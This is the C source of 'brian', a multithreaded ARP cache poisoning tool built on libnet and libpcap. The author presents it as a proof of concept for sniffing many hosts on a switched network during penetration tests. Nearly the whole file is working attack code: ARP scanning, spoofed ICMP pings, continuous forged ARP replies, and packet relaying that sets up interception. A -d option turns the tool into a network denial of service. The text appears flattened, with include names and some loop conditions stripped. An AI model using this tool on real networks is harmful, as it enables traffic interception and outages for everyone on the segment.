/* * brian - "He's not the Messiah, he's a very naughty man!" * * cc -o brian brian.c -lpthread -lnet -lpcap * * Based on the ideas of ARP poisoning present in Ettercap, this program * is a simple tool to effectively convert a switched network (or a part of * it) into a shared network so that sniffing can take place. * * Ettercap (in it's current form) is very good at letting you poison the ARP * caches of two or more computers to sniff a particular machine or perform * man-in-the-middle attacks. It works in a one-to-one or one-to-many * scenario but not many-to-many as in shared networks. * * I wasn't interested in man-in-the-middle attacks but was very interested * in sniffing a group of computers on a switched network for penetration * testing. * * It requires libpcap and libnet and is threaded for your pleasure. * Some of the libpcap stuff was borrowed from code by Bastian ballmann. * It was written for Red Hat 8 but should work on many Linux distributions. * * It is free to use and modify but I would rather it wasn't redistributed * in modified form without changing the name. */ #include #include #include #include #include #include #include #include #include #define DEF_TIMEOUT 2 #define DEF_WAIT 5000 #define DEF_PAUSE 10 /* ipaddr_range_list is a struct used to create a linked list of computer * ranges. */ struct ipaddr_range_list; struct ipaddr_range_list { u_char a1, a2, a3, a4a, a4b; int range_len; struct ipaddr_range_list *next; }; /* ipaddr_array is a struct used to create an array of ip addresses and mac * addresses that the user is interested in. */ struct ipaddr_array { struct in_addr ipaddr; int range_len; u_char macaddr[6]; }; /* brian_struct holds the program context and is passed to nearly all * functions. It's instantiation could have been made global but I decided * I'd rather pass a pointer so the functions can be lifted out and reused * elsewhere. */ struct brian_struct { struct ipaddr_array *ip_list; int ip_list_len; struct ipaddr_array **ip_hash; int ip_hash_len; u_char gateway_mac[6]; struct in_addr gateway_ip; libnet_t *libnet_context; libnet_t *libnet_context2; pcap_t *pcap_handle; char *device; bpf_u_int32 net; bpf_u_int32 mask; int timeout; int wait; int pause; struct libnet_ether_addr *my_mac; struct in_addr my_ip; }; /* the only global variable - if anyone knows how I can avoid this then * please let me know. */ u_char signal_death = 0; void signal_handler(int sig); void usage(); int convert_ipaddrs(struct brian_struct *brian_context, char *str); int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str); void identify_congregation(struct brian_struct *brian_context, int list); void *ARP_listener(void *ARP_listen_values); void spoof_pings(struct brian_struct *brian_context); void *start_preaching(void *t); void *unpoison(struct brian_struct *brian_context); void relay_packets(struct brian_struct *brian_context); void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt); void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt); /* main function * decodes options, starts the preaching, starts the relaying */ int main(int argc, char *argv[]) { /* variables */ uid_t userid; int list = 0; int preach = 0; int dos = 0; int disc_len = 0; int cong_len = 0; struct brian_struct brian_context; pthread_t preach_thread; int getoptret; char disc_ips[1024], cong_ips[1024]; struct ipaddr_array *disc_list = NULL; struct ipaddr_array **disc_hash = NULL; struct ipaddr_array *cong_list = NULL; struct ipaddr_array **cong_hash = NULL; int disc_hash_len = 0; int cong_hash_len = 0; char err_buf[LIBNET_ERRBUF_SIZE]; char errbuf[PCAP_ERRBUF_SIZE]; u_char empty_mac[6] = {0,0,0,0,0,0}; /* check we're root */ userid = geteuid(); if(userid != 0) { usage(); printf("You really need to be the Messiah to run this program\nYour EUID is %d\n",userid); exit(0); } brian_context.device = NULL; brian_context.timeout = DEF_TIMEOUT; brian_context.wait = DEF_WAIT; brian_context.pause = DEF_PAUSE; /* zero the gateway mac and ip address */ memcpy(brian_context.gateway_mac, empty_mac, 6); brian_context.gateway_ip.s_addr = 0; /* sort options */ /* use getopt to find out what the user provided */ /* brian <-l ip_range> [-i interface] [-t timeout] * - only list reachable ip addresses with MAC addresses. * brian <-p ip_range> [-i interface] [-t timeout] [-w wait] * [-r pause] [-g gateway_ip] [-d] * - preach to ip addresses (i.e. spoof and relay). * -i interface indicates the interface to use. * -t timeout indicates the time to wait in seconds after sending * an ARP request before assuming the host is dead (default 2 sec). * -w wait indicates the time to wait between repeating sending * the set of ARP replies (default 5000ms). * -r pause indicates the time to pause between sending each ARP * packet (default 10ms). * -g gateway_ip identifies which of the congregation is the * gateway for IP addresses we don't understand. * -d specifies Denial-Of-Service, i.e. Don't relay (this is just * to demonstrate how easy it is to DOS a network without any * particularly nasty packets). */ while ((getoptret = getopt(argc, argv, "l:p:i:t:w:r:g:d")) != EOF) { switch (getoptret) { case 'l': list = 1; strncpy(cong_ips, optarg, 1023); cong_ips[1023] = 0; cong_len = convert_ipaddrs(&brian_context, cong_ips); if (cong_len == -1) { usage(); printf("congregation incorrectly specified\n"); exit(0); } break; case 'p': preach = 1; strncpy(disc_ips, optarg, 1023); disc_ips[1023] = 0; disc_len = convert_ipaddrs(&brian_context, disc_ips); if (disc_len == -1) { usage(); printf("disciples incorrectly specified\n"); exit(0); } break; case 'i': brian_context.device = (char *)malloc(strlen(optarg) + 1); strcpy(brian_context.device, optarg); break; case 't': brian_context.timeout = atoi(optarg); break; case 'w': brian_context.wait = atoi(optarg); break; case 'r': brian_context.pause = atoi(optarg); break; case 'g': if (inet_aton(optarg, &(brian_context.gateway_ip)) == 0) { usage(); printf("gateway ip is invalid\n"); exit(0); } break; case 'd': dos = 1; break; default: usage(); printf("invalid argument\n"); exit(0); } } if ((list == 0) && (preach == 0)) { usage(); printf("You must specify -l or -p\n"); exit(0); } if ((list == 1) && (preach == 1)) { usage(); printf("You may only specify -l OR -p\n"); exit(0); } if (brian_context.timeout == 0) { usage(); printf("Invalid timeout\n"); exit(0); } if (brian_context.wait == 0) { usage(); printf("Invalid wait\n"); exit(0); } if (brian_context.pause == 0) { usage(); printf("Invalid pause\n"); exit(0); } /* welcome message */ printf("brian - \"He's not the Messiah, he's a very naughty man!\"\n"); printf("use ^C or a SIGTERM to quit\n"); /* set up the libnet stuff */ brian_context.libnet_context = libnet_init(LIBNET_LINK, brian_context.device, err_buf); if (brian_context.libnet_context == NULL) { printf("libnet_init failed: %s\n", err_buf); exit(0); } /* either through a user option or through libnet searching, we have * a valid device in brian_context.libnet_context->device. This * must be copied into brian_context.device as the master device and * used for pcap initiation. */ if (brian_context.device == NULL) { brian_context.device = (char *)malloc (strlen(brian_context.libnet_context->device) + 1); strcpy(brian_context.device, brian_context.libnet_context->device); } /* find my mac and ip address */ brian_context.my_mac = libnet_get_hwaddr(brian_context.libnet_context); if (brian_context.my_mac == NULL) { printf("could not get my MAC address\n"); exit(0); } brian_context.my_ip.s_addr = libnet_get_ipaddr4(brian_context.libnet_context); if (brian_context.my_ip.s_addr == -1) { printf("could not get my ip address\n"); exit(0); } /* seed the pseudo random generator */ libnet_seed_prand(brian_context.libnet_context); /* set up the pcap stuff * Open device for sniffing in non-promisc mode * device, snaplen, promics-mode, timeout, errorbuffer */ brian_context.pcap_handle = pcap_open_live(brian_context.device,BUFSIZ,0,-1,errbuf); /* Lookup IP and network mask for device */ pcap_lookupnet(brian_context.device, &(brian_context.net), &(brian_context.mask), errbuf); printf("device: %s; MAC: %s; IP: %s\n", brian_context.device, ether_ntoa(brian_context.my_mac), inet_ntoa(brian_context.my_ip)); /* set up a second libnet context for the ARP poisoner */ brian_context.libnet_context2 = libnet_init(LIBNET_LINK, brian_context.device, err_buf); if (brian_context.libnet_context2 == NULL) { printf("libnet_init2 failed: %s\n", err_buf); exit(0); } if (dos == 1) { printf("DOS option selected. Specified congregation will be\n"); printf("unable to communicate until unpoisoned!\n"); } /* identify congregation */ /* if listing, send ARP requests to the IP address range identified * by the congregation. * if preaching, send ARP requests to the IP address range * identified by the disciples. */ if (list == 1) identify_congregation(&brian_context, 1); else { identify_congregation(&brian_context, 0); /* spoof pings */ /* send spoofed pings from all in ip_list to all others in * ip_list to make them aware of each other */ spoof_pings(&brian_context); /* set up the signal handler. * Up to this point we could have just happily fallen over, * but now we have to make sure we tidy up the poisoned ARP * caches all over the place otherwise some network admins * will get a little upset. */ signal(SIGINT, signal_handler); signal(SIGTERM, signal_handler); /* start preaching */ /* tell the congregation that you are the responsible for * all the other ip addresses in the congregation. * Run in a different thread. */ if (pthread_create(&preach_thread, NULL, start_preaching, (void *)&brian_context) != 0) { printf("could not create preach thread\n"); exit(0); } /* start relaying */ /* listen to all packets. Any packets destined for an ip * address that is not your own should be relayed to the * correct MAC address. */ if (dos == 0) { relay_packets(&brian_context); } else { while (1) { sleep(1000); } } } } void signal_handler(int sig) { /* set the death global to indicate close down */ signal_death = 1; } /* usage displays valid usage info */ void usage() { printf("brian - \"He's not the messiah, he's a very naughty man!\"\n"); printf("brian <-l ip_range> [-i interface] [-t timeout]\n"); printf(" - only list reachable ip addresses with MAC addresses.\n"); printf("brian <-p ip_range> [-i interface] [-t timeout] [-w wait]\n"); printf(" [-r pause] [-g gateway_ip] [-d]\n"); printf(" - preach to ip addresses (i.e. spoof and relay).\n"); printf(" -i interface indicates the interface to use.\n"); printf(" -t timeout indicates the time to wait in seconds after sending\n"); printf(" an ARP request before assuming the host is dead (default 2 sec).\n"); printf(" -w wait indicates the time to wait between sending repeating\n"); printf(" ARP replies (default 5000ms).\n"); printf(" -r pause indicates the time to pause between sending each ARP\n"); printf(" packet (default 10ms).\n"); printf(" -g gateway_ip identifies which of the congregation is the\n"); printf(" gateway for IP addresses we don't understand.\n"); printf(" -d specifies Denial-Of-Service, i.e. Don't relay (this is just\n"); printf(" to demonstrate how easy it is to DOS a network without any\n"); printf(" particularly nasty packets).\n"); printf("\n"); } /* convert_ipaddrs takes a string specifying a number of comma * delimited ip address ranges and converts them to an array of * individual ip addresses. * It also creates a hash array pointing at the start of each * range within the array of ip addresses. * It returns the length of the array. * Currently only works on comma delimited Class C address ranges * or ip addresses. * One day I'll include provision for hostnames and net/bit * identifiers and then package the lot up as a library; but for * the moment it's just a couple of C functions. */ int convert_ipaddrs(struct brian_struct *brian_context, char *str) { int i,j,k, ret; u_char temp_ip[4]; char *strtok_range; char *r_temp1 = NULL; int r_count = 0; int num_ranges = 0; struct ipaddr_range_list *head = NULL; struct ipaddr_range_list *range_temp = NULL; struct ipaddr_range_list *range_temp2 = NULL; struct ipaddr_range_list **range_ptr = &head; /* test for valid chars */ if (strspn(str, "0123456789.-,") != strlen(str)) { return -1; } /* create a linked list of ipranges, checking validity, and * maintaining a sum of ipaddresses in the total range */ /* use strtok_r to find each range */ /* note to self: always use strtok_r over strtok to avoid * nasty, dangerous clashes. */ r_temp1 = strtok_r(str, ",", &strtok_range); while (r_temp1 != NULL) { ret = convert_ipaddrs_range(range_ptr, r_temp1); if (ret == -1) { return -1; } range_ptr = &((*range_ptr)->next); r_count = r_count + ret; r_temp1 = strtok_r(NULL, ",", &strtok_range); num_ranges++; } brian_context->ip_list_len = r_count; brian_context->ip_hash_len = num_ranges; /* create an array big enough for all the ranges */ brian_context->ip_list = (struct ipaddr_array *)malloc(sizeof(struct ipaddr_array) * r_count); /* create an array big enough to hold pointers to the ranges. * This will be a hash to speed up searching */ brian_context->ip_hash = (struct ipaddr_array **)malloc(sizeof(struct ipaddr_array *) * num_ranges); /* loop through the ipaddr range list and populate the array */ range_temp = head; i = 0; k = 0; while (range_temp != NULL) { /* store the pointer in the hash table */ (brian_context->ip_hash)[k] = &((brian_context->ip_list)[i]); temp_ip[0] = range_temp->a1; temp_ip[1] = range_temp->a2; temp_ip[2] = range_temp->a3; /* loop through the ip range, saving ipaddrs as we go */ for (j=range_temp->a4a; j<=range_temp->a4b; j++) { temp_ip[3] = j; memcpy(&((brian_context->ip_list)[i].ipaddr), temp_ip, 4); (brian_context->ip_list)[i].range_len = range_temp->range_len; i++; } range_temp = range_temp->next; k++; } /* deallocate the memory for the linked list as it is no * longer needed */ range_temp = head; while (range_temp != NULL) { range_temp2 = range_temp->next; free(range_temp); range_temp = range_temp2; } /* return the number of elements in the array */ return r_count; } /* convert_ipaddrs_range takes a string specifying an ipaddress range * or single ip addrss and returns a malloced and populated node. */ int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str) { char *temp1, *temp2, *temp3, *temp4; int o1, o2, o3, o4a, o4b; char *strtok_dot, *strtok_minus; struct ipaddr_range_list *node; int ret; /* retrieve first three octets */ temp1 = strtok_r(str, ".", &strtok_dot); temp2 = strtok_r(NULL, ".", &strtok_dot); temp3 = strtok_r(NULL, ".", &strtok_dot); temp4 = strtok_r(NULL, "!", &strtok_dot); /* test the values for valid strings */ if ((temp1 == NULL) || (temp2 == NULL) || (temp3 == NULL) || (temp4 == NULL) || (strchr(temp1, '-') != NULL) || (strlen(temp1) == 0) || (strchr(temp2, '-') != NULL) || (strlen(temp2) == 0) || (strchr(temp3, '-') != NULL) || (strlen(temp3) == 0) || (strchr(temp4, '.') != NULL) || (strlen(temp4) == 0)) { return -1; } /* identify the first three octets */ o1 = atoi(temp1); o2 = atoi(temp2); o3 = atoi(temp3); /* find out if it is a range or an individual ip address */ temp1 = strchr(temp4, '-'); if (temp1 == NULL) { o4a = atoi(temp4); o4b = atoi(temp4); } else { temp1 = strtok_r(temp4, "-", &strtok_minus); o4a = atoi(temp1); temp2 = strtok_r(NULL, "!", &strtok_minus); if (strchr(temp2, '-') != NULL) { return -1; } o4b = atoi(temp2); } /* check the values are okay */ if ((o1 < 1) || (o1 > 255) || (o2 < 0) || (o2 > 255) || (o3 < 0) || (o3 > 255) || (o4a < 1) || (o4a > 254) || (o4b < 1) || (o4b > 254) || (o4a > o4b)) { return -1; } /* create node */ node = (struct ipaddr_range_list *)malloc(sizeof(struct ipaddr_range_list)); node->a1 = o1; node->a2 = o2; node->a3 = o3; node->a4a = o4a; node->a4b = o4b; node->range_len = o4b - o4a + 1; node->next = NULL; /* point target at the new node and return the number of * ip addresses it refers to */ *target = node; return node->range_len; } /* identify_congregation * send ARPs to request the MAC addresses of all IP addresses in the * ipaddr_array. Start a listener which records the responses in the * array. */ void identify_congregation(struct brian_struct *brian_context, int list) { int i; pthread_t ARP_listen_thread; libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER; u_char broadcast_mac[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; u_char empty_mac[6] = {0,0,0,0,0,0}; printf("Identify Congregation\n"); /* temp code to test array */ /* for (i=0; iip_hash_len; i++) { printf("%d,%s,%d\n", i, inet_ntoa((brian_context->ip_hash[i])->ipaddr), (brian_context->ip_hash[i])->range_len); } for (i=0; iip_list_len; i++) { printf("%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr)); } */ /* start ARP listener */ if (pthread_create(&ARP_listen_thread, NULL, ARP_listener, (void *)brian_context) != 0) { printf("could not create ARP listener thread\n"); exit(0); } sleep(1); /* send ARP requests for all IP addresses in ip_list */ for (i=0; iip_list_len; i++) { arp_ptag = libnet_build_arp(ARPHRD_ETHER, /* ether */ ETHERTYPE_IP, /* IP addresses */ 6, /* MAC length */ 4, /* IP length */ ARPOP_REQUEST, /* ARP request */ brian_context->my_mac->ether_addr_octet, /* sender MAC */ (u_char *)&(brian_context->my_ip), /* sender IP */ empty_mac, /* target MAC */ (u_char *)&(brian_context->ip_list[i].ipaddr), /* target IP */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context, /* context */ arp_ptag); /* ptag */ ether_ptag = libnet_build_ethernet( broadcast_mac, /* target MAC */ brian_context->my_mac->ether_addr_octet, /* sender MAC */ ETHERTYPE_ARP, /* ARP proto */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context, /* context */ ether_ptag); /* ptag */ if (libnet_write(brian_context->libnet_context) == -1) { printf("libnet_write failed\n"); exit(0); } usleep(1000 * brian_context->pause); } libnet_clear_packet(brian_context->libnet_context); /* wait for timeout */ sleep(brian_context->timeout); /* cancel ARP listener */ pthread_cancel(ARP_listen_thread); /* if the user asked for a list of ips and macs then do it now */ if (list == 1) { for (i=0; iip_list_len; i++) { if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) != 0) { printf("ip=%s, mac=%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr), ether_ntoa((brian_context->ip_list[i]).macaddr)); } } } } /* ARP_listener is the thread that receives the ARP replies and fires off * a callback function to populate the array with the correct MAC addresses. */ void *ARP_listener(void *ARP_listen_values) { struct brian_struct *brian_context = ARP_listen_values; char errbuf[PCAP_ERRBUF_SIZE]; char ARP_expr[4] = "arp"; struct bpf_program filter; int check; if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL) != 0) { printf("pthread_setcanceltype failed\n"); exit(0); } /* Compile pcap expression */ /* pcap_handle, compiled filter, filter, optimized, netmask */ check = pcap_compile(brian_context->pcap_handle,&filter,ARP_expr,0,brian_context->net); if(check == -1) { printf("There was an error while compiling pcap expression!"); exit(0); } /* Use the compiled pcap filter */ pcap_setfilter(brian_context->pcap_handle,&filter); /* Start sniffing */ /* pcap_handle, num_packets, callback, params */ pcap_loop(brian_context->pcap_handle,-1,ARP_receiver, (u_char *)brian_context); } /* spoof_pings sends spoofed pings from all in ip_list to all others in * ip_list */ void spoof_pings(struct brian_struct *brian_context) { int i,j; libnet_ptag_t icmp_ptag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t ip_ptag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER; u_char empty_mac[6] = {0,0,0,0,0,0}; u_short packet_id; char payload[55] = "brian - He's not the messiah, he's a very naughty man!"; /* the above payload is an easily identified string which may be * changed by scamps wanting to avoid packet identification in IDS. * I've left it as a static string purely because this program is a * proof of concept and not a nasty piece of work. Script kiddies * may well use it unchanged resulting in IDS signatures featuring * the payload strap-line... this would highly amuse me! */ /* send spoofed pings to all IP addresses in ip_list */ for (i=0; iip_list_len; i++) { if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0) continue; for (j=0; jip_list_len; j++) { if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0)) continue; packet_id = libnet_get_prand(LIBNET_PRu16); icmp_ptag = libnet_build_icmpv4_echo( ICMP_ECHO, 0, /* code */ 0, /* checksum (auto) */ packet_id, /* id */ 0, /* seq number */ payload, /* packet data */ 54, /* packet data length */ brian_context->libnet_context, icmp_ptag); ip_ptag = libnet_build_ipv4( LIBNET_ICMPV4_ECHO_H + LIBNET_IPV4_H + 54, /* ICMP length */ 0, /* TOS */ packet_id, /* id */ 0, /* frag and offset */ 255, /* TTL */ 1, /* ICMP */ 0, /* checksum (auto) */ (brian_context->ip_list[i]).ipaddr.s_addr, (brian_context->ip_list[j]).ipaddr.s_addr, NULL, /* packet data */ 0, /* packet data length */ brian_context->libnet_context, ip_ptag); ether_ptag = libnet_build_ethernet( (brian_context->ip_list[j]).macaddr, (brian_context->ip_list[i]).macaddr, ETHERTYPE_IP, /* IP proto */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context, ether_ptag); if (libnet_write(brian_context->libnet_context) == -1) { printf("libnet_write failed\n"); exit(0); } usleep(1000 * brian_context->pause); } } libnet_clear_packet(brian_context->libnet_context); } /* start_preaching * Send ARP replies to each IP address claiming my MAC as each * of the other IP addresses. * Avoid IP addresses with zeroed MAC addresses as these did not * respond to the initial ARP storm. * Look out for global signal_death changing to 1 to indicate a termination * request. */ void *start_preaching(void *t) { struct brian_struct *brian_context = t; int i,j; libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER; u_char empty_mac[6] = {0,0,0,0,0,0}; printf("Start preaching\n"); /* looping forever, send ARP replies to all in ip_list claiming * my MAC address as all in ip_list * I'm using a second libnet context here so that I don't disrupt * or get disrupted by the libnet context that is relaying the * packets. */ while (1) { for (i=0; iip_list_len; i++) { if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0) continue; for (j=0; jip_list_len; j++) { if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0)) continue; arp_ptag = libnet_build_arp( ARPHRD_ETHER, /* ether */ ETHERTYPE_IP, /* IP addresses */ 6, /* MAC length */ 4, /* IP length */ ARPOP_REPLY, /* ARP reply */ brian_context->my_mac->ether_addr_octet, /* sender MAC */ (u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */ brian_context->ip_list[j].macaddr, /* target MAC */ (u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context2, /* context */ arp_ptag); /* ptag */ ether_ptag = libnet_build_ethernet( brian_context->ip_list[j].macaddr, /* target MAC */ brian_context->my_mac->ether_addr_octet, /* sender MAC */ ETHERTYPE_ARP, /* ARP proto */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context2, /* context */ ether_ptag); /* ptag */ if (libnet_write(brian_context->libnet_context2) == -1) { printf("libnet_write failed\n"); exit(0); } usleep(1000 * brian_context->pause); } } usleep(1000 * brian_context->wait); if (signal_death == 1) { libnet_clear_packet(brian_context->libnet_context2); unpoison(brian_context); printf("ARP caches unpoisoned, goodbye\n"); exit(0); } } } /* unpoison sends ARPs to tell all ips the real values of all others MAC * addresses */ void *unpoison(struct brian_struct *brian_context) { int i,j,loop; libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER; libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER; u_char empty_mac[6] = {0,0,0,0,0,0}; /* send ARP replies to all in ip_list stating * the real MAC addresses for all in ip_list * I'm using the second libnet context here so that I don't disrupt * or get disrupted by the libnet context that is still relaying the * packets. */ for (loop=0; loop<5; loop++) for (i=0; iip_list_len; i++) { if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0) continue; for (j=0; jip_list_len; j++) { if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0)) continue; arp_ptag = libnet_build_arp( ARPHRD_ETHER, /* ether */ ETHERTYPE_IP, /* IP addresses */ 6, /* MAC length */ 4, /* IP length */ ARPOP_REPLY, /* ARP reply */ brian_context->ip_list[i].macaddr, /* sender MAC */ (u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */ brian_context->ip_list[j].macaddr, /* target MAC */ (u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context2, /* context */ arp_ptag); /* ptag */ ether_ptag = libnet_build_ethernet( brian_context->ip_list[j].macaddr, /* target MAC */ brian_context->my_mac->ether_addr_octet, /* sender MAC */ // brian_context->ip_list[i].macaddr, /* sender MAC */ ETHERTYPE_ARP, /* ARP proto */ NULL, /* payload */ 0, /* payload len */ brian_context->libnet_context2, /* context */ ether_ptag); /* ptag */ if (libnet_write(brian_context->libnet_context2) == -1) { printf("libnet_write failed\n"); } usleep(1000 * brian_context->pause); } } } /* relay_packets is the function that receives packets and then sends them * on to the correct MAC addresses. This is necessary for the network to * continue to work once the ARP caches are poisoned. */ void relay_packets(struct brian_struct *brian_context) { char errbuf[PCAP_ERRBUF_SIZE]; char filter_expr[1024]; struct bpf_program filter; int check; printf("Relay packets\n"); /* create filter expression */ sprintf(filter_expr, "ip and not dst host %s and not ether src %s", inet_ntoa(brian_context->my_ip), ether_ntoa(brian_context->my_mac)); /* Compile pcap expression */ /* pcap_handle, compiled filter, filter, optimized, netmask */ check = pcap_compile(brian_context->pcap_handle,&filter,filter_expr,0,brian_context->net); if(check == -1) { printf("There was an error while compiling pcap expression!"); exit(0); } /* Use the compiled pcap filter */ pcap_setfilter(brian_context->pcap_handle,&filter); /* Start sniffing */ /* pcap_handle, num_packets, callback, params */ pcap_loop(brian_context->pcap_handle,-1,packet_receiver, (u_char *)brian_context); } /* ARP_receiver * This is a callback function launched by pcap_loop filtered on ARP packets. * For every ARP reply, locate the IP addr in the table and enter the MAC * address. Of course, if some other scamp is already running brian, ettercap, * or similar, then you'll be plotting his MAC address and not the real one. * Whilst this shouldn't upset the program (save for a little indirection in * packet relaying) it will fall to pieces when the other scamp stops his * program. Best to avoid this situation if at all possible, methinks. * To take account of the gateway, the ARP_receiver will also check each * returned IP against the gateway IP and store the relevant MAC address if * they match. */ void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt) { struct brian_struct *brian_context = (struct brian_struct *)args; struct libnet_ethernet_hdr *ether; struct libnet_arp_hdr *arp; short arp_op; u_char *mac; struct in_addr ip; u_char *ptr; int i; u_char first_octet, last_octet, arp_last_octet; struct ipaddr_array *temp_ptr; /* break packet into workable components */ ether = (struct libnet_ethernet_hdr *) pkt; arp = (struct libnet_arp_hdr *)(pkt + LIBNET_802_3_H); arp_op = ntohs(arp->ar_op); /* we're pretty sure this is an ARP packet or we wouldn't be here! */ if (arp_op == ARPOP_REPLY) { mac = (u_char *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H); memcpy((void *)&ip, (void *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H + 6), 4); /* locate ip address in ip_hash */ for (i=0; iip_hash_len; i++) { if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0) { /* first three octets match */ first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3]; last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1; arp_last_octet = ((u_char *)&ip)[3]; if ((arp_last_octet >= first_octet) && (arp_last_octet <= last_octet)) { /* it's in this range */ temp_ptr = (brian_context->ip_hash[i]) + (arp_last_octet - first_octet); memcpy(temp_ptr->macaddr, mac, 6); if (memcmp((void *)&brian_context->gateway_ip, (void *)&ip, 4) == 0) { /* this is also the gateway * IP */ memcpy(brian_context->gateway_mac, mac, 6); } break; } } } } } /* packet_receiver * This is a callback function launched by pcap_loop filtered on them not * being sent by me or sent to my ip address. * For every packet, replace my mac address for the correct mac address * retrieved from the ip_list and then re-send. This should then send the * packet to the correct destination. * IP addresses that do not match are assumed to be for the big wide world * and will therefore be sent to the gateway, should one have been specified. */ void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt) { struct brian_struct *brian_context = (struct brian_struct *)args; struct libnet_ethernet_hdr *ether; struct libnet_ipv4_hdr *body; u_char mac[6] = {0,0,0,0,0,0}; u_char empty_mac[6] = {0,0,0,0,0,0}; struct in_addr ip; u_char *ptr; int i; u_char first_octet, last_octet, packet_last_octet; struct ipaddr_array *temp_ptr; libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER; /* break packet into workable components */ ether = (struct libnet_ethernet_hdr *) pkt; body = (struct libnet_ipv4_hdr *)(pkt + LIBNET_802_3_H); /* we're pretty sure that the packet is not destined for me and is * an IP packet and should be relayed or we wouldn't be here! */ memcpy((void *)&ip, (void *)&(body->ip_dst), 4); /* locate ip address in ip_hash */ for (i=0; iip_hash_len; i++) { if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0) { /* first three octets match */ first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3]; last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1; packet_last_octet = ((u_char *)&ip)[3]; if ((packet_last_octet >= first_octet) && (packet_last_octet <= last_octet)) { /* it's in this range */ temp_ptr = (brian_context->ip_hash[i]) + (packet_last_octet - first_octet); memcpy(mac, temp_ptr->macaddr, 6); break; } } } /* see if we found a mac address */ if (memcmp(mac, empty_mac, 6) == 0) { /* did not locate mac address so copy in gateway mac */ memcpy(mac, brian_context->gateway_mac, 6); } /* check we have a valid mac address */ if (memcmp(mac, empty_mac, 6) != 0) { /* relay this packet */ memcpy(ether->ether_dhost, mac, 6); memcpy(ether->ether_shost, brian_context->my_mac, 6); ether_ptag = libnet_build_ethernet( mac, ether->ether_shost, ETHERTYPE_IP, (u_char *)body, header->len - 14, brian_context->libnet_context, ether_ptag); if (libnet_write(brian_context->libnet_context) == -1) { printf("libnet_write failed\n"); /* don't exit at this point */ } libnet_clear_packet(brian_context->libnet_context); } }